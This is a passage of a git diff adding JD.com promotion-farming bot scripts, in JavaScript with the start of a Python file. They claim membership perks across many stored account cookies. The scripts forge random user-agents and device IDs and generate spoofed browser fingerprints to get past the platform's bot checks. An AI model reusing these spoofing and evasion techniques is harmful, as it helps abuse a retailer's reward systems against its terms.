res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + $.errorJoinShop = res.message + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getshopactivityId() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${$.joinVenderId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + let res = $.toObj(data); + if(res.success == true){ + // console.log($.toStr(res.result)) + console.log(`入会:${res.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = res.result.interestsRuleList && res.result.interestsRuleList[0] && res.result.interestsRuleList[0].interestsInfo && res.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + headers: { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html') + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jr_draw.js b/jd_jr_draw.js new file mode 100644 index 0000000..901e9c9 --- /dev/null +++ b/jd_jr_draw.js @@ -0,0 +1,219 @@ +/* +京东金融 每周领取权益活动 +活动入口:京东金融APP首页-会员中心-生活特权 +目前已知领取一次 ,其他的未知。 +by:小手冰凉 tg:@chianPLA +交流群:https://t.me/jdPLA2 +脚本更新时间:2021-12-6 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +新手写脚本,难免有bug,能用且用。 +============Node=============== +[task_local] +#每周领取权益活动 +10 17 6 12 * jd jd_draw.js, tag=每周领取权益活动, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jr_draw.png, enabled=true + +*/ + +const $ = new Env('京东金融每周领取权益活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + console.log("目前已知领取一次 ,其他的未知。"); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await queryNewRightsDetail(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function queryNewRightsDetail() { + return new Promise(resolve => { + $.get({ + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/queryNewRightsDetail?reqData=%7B%22appCode%22:%22jr-vip%22,%22version%22:%222.0%22,%22rid%22:%221007%22,%22drawEnv%22:%22H5%22%7D `, + headers: { + "Host": "ms.jr.jd.com", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.1.300 Mobile Safari/537.36", + "Origin": "https://m.jr.jd.com", + "Referer": "https://m.jr.jd.com/member/rights/index.html?utm_term=wxfriends&utm_source=iOS_url_1638418805663&utm_medium=jrappshare", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3", + "cookie": cookie + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`queryNewRightsDetail API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + for (let v of data.resultData.data.subRightsList1) { + if (v.lifeRightsSubRightsOneMainTitle.indexOf('京豆') !== -1) { + await drawNewMemberRights1(v.rightsId); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function drawNewMemberRights1(rightsId) { + return new Promise(resolve => { + $.get({ + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/drawNewMemberRights1?reqData=%7B%22appCode%22:%22jr-vip%22,%22version%22:%222.0%22,%22rid%22:${rightsId},%22drawEnv%22:%22H5%22%7D`, + headers: { + "Host": "ms.jr.jd.com", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.1.300 Mobile Safari/537.36", + "Origin": "https://m.jr.jd.com", + "Referer": "https://m.jr.jd.com/member/rights/index.html?utm_term=wxfriends&utm_source=iOS_url_1638418805663&utm_medium=jrappshare", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3", + "cookie": cookie + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`drawNewMemberRights1 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/GetJDUserBaseInfo?_=${Date.now()}&sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "m.jingxi.com", + "Cookie": cookie, + "Referer": "https://st.jingxi.com/my/userinfo.html?sceneval=2&ptag=7205.12.4", + "User-Agent": `jdapp;android;10.1.3;10;${randomString(40)};network/wifi;model/WLZ-AN00;addressid/874716028;aid/550eca6b467ca4f3;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/90017;partner/jingdong;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045714 Mobile Safari/537.36`, + "deviceOS": "android", + "deviceOSVersion": 10, + "deviceName": "WeiXin" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + console.log("1"); + return; + } + if (data["retcode"] === 0) { + $.nickName = (data.nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_jrmx.py b/jd_jrmx.py new file mode 100644 index 0000000..718d21e --- /dev/null +++ b/jd_jrmx.py @@ -0,0 +1,273 @@ +# -*- coding:utf-8 -*- +#依赖管理-Python3-添加依赖PyExecJS +#依赖安装:进入容器执行:pip3 install PyExecJS +#想拿券的cookie环境变量JDJR_COOKIE,格式就是普通的cookie格式(pt_key=xxx;pt_pin=xxx) +#活动每天早上10点开始截止到这个月28号,建议corn 5 0 10 * * * + +""" +cron: 5 0 10 * * * +new Env('京东金融分享助力'); +""" + +import execjs +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib +from urllib.parse import quote + + 